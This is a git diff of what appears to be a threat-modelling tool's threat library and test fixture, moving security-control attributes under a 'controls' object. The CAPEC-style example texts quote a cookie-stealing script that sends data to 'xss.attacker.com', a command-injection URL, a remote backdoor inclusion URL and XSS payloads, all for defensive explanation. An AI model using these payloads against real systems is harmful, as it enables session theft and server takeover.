     "mitigations": "All user-controllable input should be validated and filtered for potentially unwanted characters. Whitelisting input is desired, but if a blacklisting approach is necessary, then focusing on command related terms and delimiters is necessary.Input should be encoded prior to use in commands to make sure command related characters are not treated as part of the command. For example, quotation characters may need to be encoded so that the application does not treat the quotation as a delimiter.Input should be parameterized, or restricted to data sections of a command, thus removing the chance that the input will be treated as part of the command itself.",
     "example": "Consider a URL 'http://sensitive/cgi-bin/userData.pl?doc=user1.txt'. If the URL is modified like so - 'http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|', it executed the command '/bin/ls|'. This is how command injection is implemented.",
@@ -1267,7 +1267,7 @@
     "details": "An attacker utilizes crafted XML user-controllable input to probe, attack, and inject data into the XML database, using techniques similar to SQL injection. The user-controllable input can allow for unauthorized viewing of data, bypassing authentication or the front-end application for direct XML database access, and possibly altering database information.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.validatesInput is False or target.sanitizesInput is False or target.encodesOutput is False",
+    "condition": "target.controls.validatesInput is False or target.controls.sanitizesInput is False or target.controls.encodesOutput is False",
     "prerequisites": "XML queries used to process user input and retrieve information stored in XML documentsUser-controllable input not properly sanitized",
     "mitigations": "Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as content that can be interpreted in the context of an XML data or a query. Use of custom error pages - Attackers can glean information about the nature of queries from descriptive error messages. Input validation must be coupled with customized error pages that inform about an error without disclosing information about the database or application.",
     "example": "Consider an application that uses an XML database to authenticate its users. The application retrieves the user name and password from a request and forms an XPath expression to query the database. An attacker can successfully bypass authentication and login without valid credentials through XPath Injection. This can be achieved by injecting the query to the XML database with XPath syntax that causes the authentication check to fail. Improper validation of user-controllable input and use of a non-parameterized XPath expression enable the attacker to inject an XPath expression that causes authentication bypass.",
@@ -1282,7 +1282,7 @@
     "details": "The attacker forces an application to load arbitrary code files from a remote location. The attacker could use this to try to load old versions of library files that have known vulnerabilities, to load malicious files that the attacker placed on the remote machine, or to otherwise change the functionality of the targeted application in unexpected ways.",
     "Likelihood Of Attack": "Medium",
     "severity": "High",
-    "condition": "target.validatesInput is False or target.sanitizesInput is False",
+    "condition": "target.controls.validatesInput is False or target.controls.sanitizesInput is False",
     "prerequisites": "Target application server must allow remote files to be included.The malicious file must be placed on the remote machine previously.",
     "mitigations": "Minimize attacks by input validation and sanitization of any user data that will be used by the target application to locate a remote file to be included.",
     "example": "URL string http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor_ contains an external reference to a backdoor code file stored in a remote location (http://www.hacker.com/backdoor_shell.php.) Having been uploaded to the application, this backdoor can later be used to hijack the underlying server or gain access to the application database.",
@@ -1297,7 +1297,7 @@
     "details": "An attacker sends a SOAP request with an array whose actual length exceeds the length indicated in the request. When a data structure including a SOAP array is instantiated, the sender transmits the size of the array as an explicit parameter along with the data. If the server processing the transmission naively trusts the specified size, then an attacker can intentionally understate the size of the array, possibly resulting in a buffer overflow if the server attempts to read the entire data set into the memory it allocated for a smaller array. This, in turn, can lead to a server crash or even the execution of arbitrary code.",
     "Likelihood Of Attack": "Medium",
     "severity": "High",
-    "condition": "target.checksInputBounds is False",
+    "condition": "target.controls.checksInputBounds is False",
     "prerequisites": "The targeted SOAP server must trust that the array size as stated in messages it receives is correct, but read through the entire content of the message regardless of the stated size of the array.",
     "mitigations": "If the server either verifies the correctness of the stated array size or if the server stops processing an array once the stated number of elements have been read, regardless of the actual array size, then this attack will fail. The former detects the malformed SOAP message while the latter ensures that the server does not attempt to load more data than was allocated for.",
     "example": "Refer to this example - http://projects.webappsec.org/w/page/13246962/SOAP%20Array%20Abuse",
@@ -1312,7 +1312,7 @@
     "details": "An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.validatesInput is False or target.sanitizesInput is False",
+    "condition": "target.controls.validatesInput is False or target.controls.sanitizesInput is False",
     "prerequisites": "The application's decoder accepts and interprets encoded characters. Data canonicalization, input filtering and validating is not done properly leaving the door open to harmful characters for the target host.",
     "mitigations": "Assume all input might use an improper representation. Use canonicalized data inside the application; all data must be converted into the representation used inside the application (UTF-8, UTF-16, etc.)Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Test your decoding process against malicious input.",
     "example": "Microsoft Internet Explorer 5.01 SP4, 6, 6 SP1, and 7 does not properly handle unspecified encoding strings, which allows remote attackers to bypass the Same Origin Policy and obtain sensitive information via a crafted web site, aka Post Encoding Information Disclosure Vulnerability. Related Vulnerabilities CVE-2010-0488Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.",
@@ -1327,7 +1327,7 @@
     "details": "The attacker injects, manipulates, deletes, or forges malicious log entries into the log file, in an attempt to mislead an audit of the log file or cover tracks of an attack. Due to either insufficient access controls of the log files or the logging mechanism, the attacker is able to perform such actions.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.validatesInput is False or target.implementsPOLP is False",
+    "condition": "target.controls.validatesInput is False or target.controls.implementsPOLP is False",
     "prerequisites": "The target host is logging the action and data of the user.The target host insufficiently protects access to the logs or logging mechanisms.",
     "mitigations": "Use Principle of Least Privilege to avoid unauthorized access to log files leading to manipulation/injection on those files. Do not allow tainted data to be written in the log file without prior input validation. Whitelisting may be used to properly validate the data. Use synchronization to control the flow of execution. Use static analysis tool to identify log forging vulnerabilities. Avoid viewing logs with tools that may interpret control characters in the file, such as command-line shells.",
     "example": "The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted input that the target software will write to the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack. Insert a script into the log file such that if it is viewed using a web browser, the attacker will get a copy of the operator/administrator's cookie and will be able to gain access as that user. For example, a log file entry could contain <script>new Image().src='http://xss.attacker.com/log_cookie?cookie='+encodeURI(document.cookie);</script> The script itself will be invisible to anybody viewing the logs in a web browser (unless they view the source for the page).",
@@ -1342,7 +1342,7 @@
     "details": "An adversary corrupts or modifies the content of a schema for the purpose of undermining the security of the target. Schemas provide the structure and content definitions for resources used by an application. By replacing or modifying a schema, the adversary can affect how the application handles or interprets a resource, often leading to possible denial of service, entering into an unexpected state, or recording incomplete data.",
     "Likelihood Of Attack": "Low",
     "severity": "High",
-    "condition": "target.implementsPOLP is False",
+    "condition": "target.controls.implementsPOLP is False",
     "prerequisites": "Some level of access to modify the target schema.The schema used by the target application must be improperly secured against unauthorized modification and manipulation.",
     "mitigations": "Design: Protect the schema against unauthorized modification.Implementation: For applications that use a known schema, use a local copy or a known good repository instead of the schema reference supplied in the schema document.Implementation: For applications that leverage remote schemas, use the HTTPS protocol to prevent modification of traffic in transit and to avoid unauthorized modification.",
     "example": "In a JSON Schema Poisoning Attack, an adervary modifies the JSON schema to cause a Denial of Service (DOS) or to submit malicious input: { title: Contact, type: object, properties: { Name: { type: string }, Phone: { type: string }, Email: { type: string }, Address: { type: string } }, required: [Name, Phone, Email, Address] } If the 'name' attribute is required in all submitted documents and this field is removed by the adversary, the application may enter an unexpected state or record incomplete data. Additionally, if this data is needed to perform additional functions, a Denial of Service (DOS) may occur.In a Database Schema Poisoning Attack, an adversary alters the database schema being used to modify the database in some way. This can result in loss of data, DOS, or malicious input being submitted. Assuming there is a column named name, an adversary could make the following schema change: ALTER TABLE Contacts MODIFY Name VARCHAR(65353); The Name field of the Conteacts table now allows the storing of names up to 65353 characters in length. This could allow the adversary to store excess data within the database to consume system resource or to execute a DOS.",
@@ -1357,7 +1357,7 @@
     "details": "An attacker injects content into a server response that is interpreted differently by intermediaries than it is by the target browser. To do this, it takes advantage of inconsistent or incorrect interpretations of the HTTP protocol by various applications. For example, it might use different block terminating characters (CR or LF alone), adding duplicate header fields that browsers interpret as belonging to separate responses, or other techniques. Consequences of this attack can include response-splitting, cross-site scripting, apparent defacement of targeted sites, cache poisoning, or similar actions.",
     "Likelihood Of Attack": "Medium",
     "severity": "Medium",
-    "condition": "target.implementsStrictHTTPValidation is False and target.encodesHeaders is False",
+    "condition": "target.controls.implementsStrictHTTPValidation is False and target.controls.encodesHeaders is False",
     "prerequisites": "The targeted server must allow the attacker to insert content that will appear in the server's response.",
     "mitigations": "Design: Employ strict adherence to interpretations of HTTP messages wherever possible.Implementation: Encode header information provided by user input so that user-supplied content is not interpreted by intermediaries.",
     "example": "The attacker targets the cache service used by the organization to reduce load on the internet bandwidth. This server can be a cache server on the LAN or other application server caching the static WebPages. The attacker sends three different HTTP request as shown - Request 1: POST request for http://www.netbanking.com, Request 2: GET request for http:www.netbanking.com/FD.html, Request 3: GET request for http://www.netbanking.com/FD-Rates.html. Due to malformed request cache server assumes request 1 and 3 as valid request and forwards the entire request to the webserver. Webserver which strictly follow then HTTP parsing rule responds with the http://www.netbanking.com/FD.html  HTML page. This is happened because webserver consider request 1 and 2 as valid one. Cache server stores this response against the request 3. When normal users request for page http://www.netbanking.com/FD-Rates.html, cache server responds with the page http://www.netbanking.com/FD.html.Hence attacker will succeeds in cache poisoning.",
@@ -1372,7 +1372,7 @@
     "details": "HTTP Request Smuggling results from the discrepancies in parsing HTTP requests between HTTP entities such as web caching proxies or application firewalls. Entities such as web servers, web caching proxies, application firewalls or simple proxies often parse HTTP requests in slightly different ways. Under specific situations where there are two or more such entities in the path of the HTTP request, a specially crafted request is seen by two attacked entities as two different sets of requests. This allows certain requests to be smuggled through to a second entity without the first one realizing it.",
     "Likelihood Of Attack": "Medium",
     "severity": "High",
-    "condition": "target.implementsStrictHTTPValidation is False and target.encodesHeaders is False",
+    "condition": "target.controls.implementsStrictHTTPValidation is False and target.controls.encodesHeaders is False",
     "prerequisites": "An additional HTTP entity such as an application firewall or a web caching proxy between the attacker and the second entity such as a web serverDifferences in the way the two HTTP entities parse HTTP requests",
     "mitigations": "HTTP Request Smuggling is usually targeted at web servers. Therefore, in such cases, careful analysis of the entities must occur during system design prior to deployment. If there are known differences in the way the entities parse HTTP requests, the choice of entities needs consideration.Employing an application firewall can help. However, there are instances of the firewalls being susceptible to HTTP Request Smuggling as well.",
     "example": "When using Sun Java System Web Proxy Server 3.x or 4.x in conjunction with Sun ONE/iPlanet 6.x, Sun Java System Application Server 7.x or 8.x, it is possible to bypass certain application firewall protections, hijack web sessions, perform Cross Site Scripting or poison the web proxy cache using HTTP Request Smuggling. Differences in the way HTTP requests are parsed by the Proxy Server and the Application Server enable malicious requests to be smuggled through to the Application Server, thereby exposing the Application Server to aforementioned attacks. See also: CVE-2006-6276Apache server 2.0.45 and version before 1.3.34, when used as a proxy, easily lead to web cache poisoning and bypassing of application firewall restrictions because of non-standard HTTP behavior. Although the HTTP/1.1 specification clearly states that a request with both Content-Length and a Transfer-Encoding: chunked headers is invalid, vulnerable versions of Apache accept such requests and reassemble the ones with Transfer-Encoding: chunked header without replacing the existing Content-Length header or adding its own. This leads to HTTP Request Smuggling using a request with a chunked body and a header with Content-Length: 0. See also: CVE-2005-2088",
@@ -1387,7 +1387,7 @@
     "details": "This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.",
     "Likelihood Of Attack": "High",
     "severity": "Very High",
-    "condition": "target.allowsClientSideScripting is True and (target.sanitizesInput is False or target.validatesInput is False)",
+    "condition": "target.allowsClientSideScripting is True and (target.controls.sanitizesInput is False or target.controls.validatesInput is False)",
     "prerequisites": "An application that leverages a client-side web browser with scripting enabled.An application that manipulates the DOM via client-side scripting.An application that fails to adequately sanitize or encode untrusted input.",
     "mitigations": "Use browser technologies that do not allow client-side scripting.Utilize proper character encoding for all output produced within client-site scripts manipulating the DOM.Ensure that all user-supplied input is validated before use.",
     "example": "Consider a web application that enables or disables some of the fields of a form on the page via the use of a mode parameter provided on the query string. http://my.site.com/aform.html?mode=full The application’s client-side code may want to print this mode value to the screen to give the users an understanding of what mode they are in. In this example, JavaScript is used to pull the value from the URL and update the HTML by dynamically manipulating the DOM via a document.write() call. <script>document.write(<p>Mode is: + document.location.href.substring(document.location.href.indexOf('mode=') + 5) + </p>);</script> Notice how the value provided on the URL is used directly with no input validation performed and no output encoding in place. A maliciously crafted URL can thus be formed such that if a victim clicked on the URL, a malicious script would then be executed by the victim’s browser: http://my.site.com/aform.html?mode=<script>alert('hi');</script>In some DOM-based attacks, the malicious script never gets sent to the web server at all, thus bypassing any server-side protections that might be in place. Consider the previously used web application that displays the mode value. Since the HTML is being generated dynamically through DOM manipulations, a URL fragment (i.e., the part of a URL after the '#' character) can be used. http://my.site.com/aform.html#mode=<script>alert('hi')</script> In this variation of a DOM-based XSS attack, the malicious script will not be sent to the web server, but will instead be managed by the victim's browser and is still available to the client-side script code.",
@@ -1402,7 +1402,7 @@
     "details": "This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.usesStrongSessionIdentifiers is False",
+    "condition": "target.controls.usesStrongSessionIdentifiers is False",
     "prerequisites": "The target host uses session IDs to keep track of the users.Session IDs are used to control access to resources.The session IDs used by the target host are predictable. For example, the session IDs are generated using predictable information (e.g., time).",
     "mitigations": "Use a strong source of randomness to generate a session ID.Use adequate length session IDs. Do not use information available to the user in order to generate session ID (e.g., time).Ideas for creating random numbers are offered by Eastlake [RFC1750]. Encrypt the session ID if you expose it to the user. For instance session ID can be stored in a cookie in encrypted format.",
     "example": "Jetty before 4.2.27, 5.1 before 5.1.12, 6.0 before 6.0.2, and 6.1 before 6.1.0pre3 generates predictable session identifiers using java.util.random, which makes it easier for remote attackers to guess a session identifier through brute force attacks, bypass authentication requirements, and possibly conduct cross-site request forgery attacks. See also: CVE-2006-6969mod_usertrack in Apache 1.3.11 through 1.3.20 generates session ID's using predictable information including host IP address, system time and server process ID, which allows local users to obtain session ID's and bypass authentication when these session ID's are used for authentication. See also: CVE-2001-1534",
@@ -1417,7 +1417,7 @@
     "details": "This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is “reflected” off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application. The most common method of this is through a phishing email where the adversary embeds the malicious script with a URL that the victim then clicks on. In processing the subsequent request, the vulnerable web application incorrectly considers the malicious script as valid input and uses it to creates a reposnse that is then sent back to the victim. To launch a successful Reflected XSS attack, an adversary looks for places where user-input is used directly in the generation of a response. This often involves elements that are not expected to host scripts such as image tags (<img>), or the addition of event attibutes such as onload and onmouseover. These elements are often not subject to the same input validation, output encoding, and other content filtering and checking routines.",
     "Likelihood Of Attack": "High",
     "severity": "Very High",
-    "condition": "target.allowsClientSideScripting is True and (target.sanitizesInput is False or target.validatesInput is False)",
+    "condition": "target.allowsClientSideScripting is True and (target.controls.sanitizesInput is False or target.controls.validatesInput is False)",
     "prerequisites": "An application that leverages a client-side web browser with scripting enabled.An application that fail to adequately sanitize or encode untrusted input.",
     "mitigations": "Use browser technologies that do not allow client-side scripting.Utilize strict type, character, and encoding enforcement.Ensure that all user-supplied input is validated before use.",
     "example": "Consider a web application that enables or disables some of the fields of a form on the page via the use of a mode parameter provided on the query string. http://my.site.com/aform.html?mode=full The application’s server-side code may want to display this mode value in the HTML page being created to give the users an understanding of what mode they are in. In this example, PHP is used to pull the value from the URL and generate the desired HTML. <?phpecho 'Mode is: ' . $_GET[mode];?> Notice how the value provided on the URL is used directly with no input validation performed and no output encoding in place. A maliciously crafted URL can thus be formed such that if a victim clicked on the URL, a malicious script would then be executed by the victim’s browser: http://my.site.com/aform.html?mode=<script>alert('hi');</script>Reflected XSS attacks can take advantage of HTTP headers to compromise a victim. For example, assume a vulnerable web application called ‘mysite’ dynamically generates a link using an HTTP header such as HTTP_REFERER. Code somewhere in the application could look like: <?phpecho <a href=”$_SERVER[‘HTTP_REFERER’]”>Test URL</a>?> The HTTP_REFERER header is populated with the URI that linked to the currently executing page. A web site can be created and hosted by an adversary that takes advantage of this by adding a reference to the vulnerable web application. By tricking a victim into clicking a link that executes the attacker’s web page, such as: http://attackerswebsite.com?<script>malicious content</script> The vulnerable web application (‘mysite’) is now called via the attacker’s web site, initiated by the victim’s web browser. The HTTP_REFERER header will contain a malicious script, which is embedded into the page by the vulnerable application and served to the victim. The victim’s web browser then executes the injected script, thus compromising the victim’s machine.",
@@ -1432,7 +1432,7 @@
     "details": "This type of attack is a form of Cross-site Scripting (XSS) where a malicious script is persistenly “stored” within the data storage of a vulnerable web application. Initially presented by an adversary to the vulnerable web application, the malicious script is incorrectly considered valid input and is not properly encoded by the web application. A victim is then convinced to use the web application in a way that creates a response that includes the malicious script. This response is subsequently sent to the victim and the malicious script is executed by the victim's browser. To launch a successful Stored XSS attack, an adversary looks for places where stored input data is used in the generation of a response. This often involves elements that are not expected to host scripts such as image tags (<img>), or the addition of event attibutes such as onload and onmouseover. These elements are often not subject to the same input validation, output encoding, and other content filtering and checking routines.",
     "Likelihood Of Attack": "High",
     "severity": "Very High",
-    "condition": "target.allowsClientSideScripting is True and (target.sanitizesInput is False or target.validatesInput is False)",
+    "condition": "target.allowsClientSideScripting is True and (target.controls.sanitizesInput is False or target.controls.validatesInput is False)",
     "prerequisites": "An application that leverages a client-side web browser with scripting enabled.An application that fails to adequately sanitize or encode untrusted input.An application that stores information provided by the user in data storage of some kind.",
     "mitigations": "Use browser technologies that do not allow client-side scripting.Utilize strict type, character, and encoding enforcement.Ensure that all user-supplied input is validated before being stored.",
     "example": "An adversary determines that a system uses a web based interface for administration. The adversary creates a new user record and supplies a malicious script in the user name field. The user name field is not validated by the system and a new log entry is created detailing the creation of the new user. Later, an administrator reviews the log in the administrative console. When the administrator comes across the new user entry, the browser sees a script and executes it, stealing the administrator's authentication cookie and forwarding it to the adversary. An adversary then uses the received authentication cookie to log in to the system as an administrator, provided that the administrator console can be accessed remotely.An online discussion forum allows its members to post HTML-enabled messages, which can also include image tags. An adversary embeds JavaScript in the image tags of his message. The adversary then sends the victim an email advertising free goods and provides a link to the form for how to collect. When the victim visits the forum and reads the message, the malicious script is executed within the victim's browser.",
@@ -1448,7 +1448,7 @@
     "Likelihood Of Attack": "High",
     "severity": "Very High",
     "prerequisites": "An application that leverages sessions to perform authentication.",
-    "condition": "target.usesStrongSessionIdentifiers is False",
+    "condition": "target.controls.usesStrongSessionIdentifiers is False",
     "mitigations": "Properly encrypt and sign identity tokens in transit, and use industry standard session key generation mechanisms that utilize high amount of entropy to generate the session key. Many standard web and application servers will perform this task on your behalf. Utilize a session timeout for all sessions. If the user does not explicitly logout, terminate their session after this period of inactivity. If the user logs back in then a new session key should be generated.",
     "example": "Cross Site Injection Attack is a great example of Session Hijacking. Attacker can capture victim’s Session ID using XSS attack by using javascript. If an attacker sends a crafted link to the victim with the malicious JavaScript, when the victim clicks on the link, the JavaScript will run and complete the instructions made by the attacker.",
     "references": "https://capec.mitre.org/data/definitions/593.html"
@@ -1463,7 +1463,7 @@
     "Likelihood Of Attack": "High",
     "severity": "Very High",
     "prerequisites": "An application that leverages sessions to perform authentication.",
-    "condition": "(target.usesStrongSessionIdentifiers is False or target.encryptsCookies is False) and target.definesConnectionTimeout is False",
+    "condition": "(target.controls.usesStrongSessionIdentifiers is False or target.controls.encryptsCookies is False) and target.controls.definesConnectionTimeout is False",
     "mitigations": "Properly encrypt and sign identity tokens in transit, and use industry standard session key generation mechanisms that utilize high amount of entropy to generate the session key. Many standard web and application servers will perform this task on your behalf. Utilize a session timeout for all sessions. If the user does not explicitly logout, terminate their session after this period of inactivity. If the user logs back in then a new session key should be generated.",
     "example": "Cross Site Injection Attack is a great example of Session Hijacking. Attacker can capture victim’s Session ID using XSS attack by using javascript. If an attacker sends a crafted link to the victim with the malicious JavaScript, when the victim clicks on the link, the JavaScript will run and complete the instructions made by the attacker.",
     "references": "https://capec.mitre.org/data/definitions/593.html"
@@ -1477,7 +1477,7 @@
     "details": "An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.validatesInput is False or target.sanitizesInput is False",
+    "condition": "target.controls.validatesInput is False or target.controls.sanitizesInput is False",
     "prerequisites": "Target software fails to strip all user-supplied input of any content that could cause the shell to perform unexpected actions.Software must allow for unvalidated or unfiltered input to be executed on operating system shell, and, optionally, the system configuration must allow for output to be sent back to client.",
     "mitigations": "Design: Do not program input values directly on command shell, instead treat user input as guilty until proven innocent. Build a function that takes user input and converts it to applications specific types and values, stripping or filtering out all unauthorized commands and characters in the process.Design: Limit program privileges, so if metacharacters or other methods circumvent program input validation routines and shell access is attained then it is not running under a privileged account. chroot jails create a sandbox for the application to execute in, making it more difficult for an attacker to elevate privilege even in the case that a compromise has occurred.Implementation: Implement an audit log that is written to a separate host, in the event of a compromise the audit log may be able to provide evidence and details of the compromise.",
     "example": "A recent example instance of argument injection occurred against Java Web Start technology, which eases the client side deployment for Java programs. The JNLP files that are used to describe the properties for the program. The client side Java runtime used the arguments in the property setting to define execution parameters, but if the attacker appends commands to an otherwise legitimate property file, then these commands are sent to the client command shell. [R.6.2]",
@@ -1492,7 +1492,7 @@
     "details": "This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.usesSessionTokens is True and target.implementsNonce is False",
+    "condition": "target.usesSessionTokens is True and target.controls.implementsNonce is False",
     "prerequisites": "The target host uses session IDs to keep track of the users.Session IDs are used to control access to resources.The session IDs used by the target host are not well protected from session theft.",
     "mitigations": "Always invalidate a session ID after the user logout.Setup a session time out for the session IDs.Protect the communication between the client and server. For instance it is best practice to use SSL to mitigate man in the middle attack.Do not code send session ID with GET method, otherwise the session ID will be copied to the URL. In general avoid writing session IDs in the URLs. URLs can get logged in log files, which are vulnerable to an attacker.Encrypt the session data associated with the session ID.Use multifactor authentication.",
     "example": "OpenSSL and SSLeay allow remote attackers to reuse SSL sessions and bypass access controls. See also: CVE-1999-0428Merak Mail IceWarp Web Mail uses a static identifier as a user session ID that does not change across sessions, which could allow remote attackers with access to the ID to gain privileges as that user, e.g. by extracting the ID from the user's answer or forward URLs. See also: CVE-2002-0258",
@@ -1507,7 +1507,7 @@
     "details": "This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.definesConnectionTimeout is False and (target.usesMFA is False or target.encryptsSessionData is False)",
+    "condition": "target.controls.definesConnectionTimeout is False and (target.controls.usesMFA is False or target.controls.encryptsSessionData is False)",
     "prerequisites": "The target host uses session IDs to keep track of the users.Session IDs are used to control access to resources.The session IDs used by the target host are not well protected from session theft.",
     "mitigations": "Always invalidate a session ID after the user logout.Setup a session time out for the session IDs.Protect the communication between the client and server. For instance it is best practice to use SSL to mitigate man in the middle attack.Do not code send session ID with GET method, otherwise the session ID will be copied to the URL. In general avoid writing session IDs in the URLs. URLs can get logged in log files, which are vulnerable to an attacker.Encrypt the session data associated with the session ID.Use multifactor authentication.",
     "example": "OpenSSL and SSLeay allow remote attackers to reuse SSL sessions and bypass access controls. See also: CVE-1999-0428Merak Mail IceWarp Web Mail uses a static identifier as a user session ID that does not change across sessions, which could allow remote attackers with access to the ID to gain privileges as that user, e.g. by extracting the ID from the user's answer or forward URLs. See also: CVE-2002-0258",
@@ -1523,7 +1523,7 @@
     "Likelihood Of Attack": "High",
     "severity": "Very High",
     "prerequisites": "",
-    "condition": "target.implementsCSRFToken is False or target.verifySessionIdentifiers is False",
+    "condition": "target.controls.implementsCSRFToken is False or target.controls.verifySessionIdentifiers is False",
     "mitigations": "Use cryptographic tokens to associate a request with a specific action. The token can be regenerated at every request so that if a request with an invalid token is encountered, it can be reliably discarded. The token is considered invalid if it arrived with a request other than the action it was supposed to be associated with.Although less reliable, the use of the optional HTTP Referrer header can also be used to determine whether an incoming request was actually one that the user is authorized for, in the current context.Additionally, the user can also be prompted to confirm an action every time an action concerning potentially sensitive data is invoked. This way, even if the attacker manages to get the user to click on a malicious link and request the desired action, the user has a chance to recover by denying confirmation. This solution is also implicitly tied to using a second factor of authentication before performing such actions.In general, every request must be checked for the appropriate authentication token as well as authorization in the current session context.",
     "example": "While a user is logged into his bank account, an attacker can send an email with some potentially interesting content and require the user to click on a link in the email. The link points to or contains an attacker setup script, probably even within an iFrame, that mimics an actual user form submission to perform a malicious activity, such as transferring funds from the victim's account. The attacker can have the script embedded in, or targeted by, the link perform any arbitrary action as the authenticated user. When this script is executed, the targeted application authenticates and accepts the actions based on the victims existing session cookie.See also: Cross-site request forgery (CSRF) vulnerability in util.pl in @Mail WebMail 4.51 allows remote attackers to modify arbitrary settings and perform unauthorized actions as an arbitrary user, as demonstrated using a settings action in the SRC attribute of an IMG element in an HTML e-mail.",
     "references": "https://capec.mitre.org/data/definitions/62.html"
@@ -1553,7 +1553,7 @@
     "Likelihood Of Attack": "Low",
     "severity": "High",
     "prerequisites": "",
-    "condition": "(target.hasDataLeaks() or any(d.isCredentials or d.isPII for d in target.data)) and (not target.isEncrypted or (not target.isResponse and any(d.isStored and d.isDestEncryptedAtRest for d in target.data)) or (target.isResponse and any(d.isStored and d.isSourceEncryptedAtRest for d in target.data)))",
+    "condition": "(target.hasDataLeaks() or any(d.isCredentials or d.isPII for d in target.data)) and (not target.controls.isEncrypted or (not target.isResponse and any(d.isStored and d.isDestEncryptedAtRest for d in target.data)) or (target.isResponse and any(d.isStored and d.isSourceEncryptedAtRest for d in target.data)))",
     "mitigations": "All data should be encrypted in transit. All PII and restricted data must be encrypted at rest. If a service is storing credentials used to authenticate users or incoming connections, it must only store hashes of them created using cryptographic functions, so it is only possible to compare them against user input, without fully decoding them. If a client is storing credentials in either files or other data store, access to them must be as restrictive as possible, including using proper file permissions, database users with restricted access or separate storage.",
     "example": "",
     "references": "https://cwe.mitre.org/data/definitions/311.html, https://cwe.mitre.org/data/definitions/312.html, https://cwe.mitre.org/data/definitions/916.html, https://cwe.mitre.org/data/definitions/653.html"
diff --git a/tests/output.json b/tests/output.json
index 0adee11b..c2eeaeda 100644
--- a/tests/output.json
+++ b/tests/output.json
@@ -2,8 +2,51 @@
     "actors": [
         {
             "__class__": "Actor",
-            "authenticatesDestination": false,
-            "checksDestinationRevocation": false,
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "data": [],
             "description": "",
             "findings": [],
@@ -25,7 +68,6 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
-            "providesIntegrity": false,
             "sourceFiles": []
         }
     ],
@@ -33,38 +75,61 @@
         {
             "OS": "",
             "__class__": "Server",
-            "authenticatesDestination": false,
-            "authenticatesSource": false,
-            "authenticationScheme": "",
-            "authorizesSource": false,
-            "checksDestinationRevocation": false,
-            "checksInputBounds": false,
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
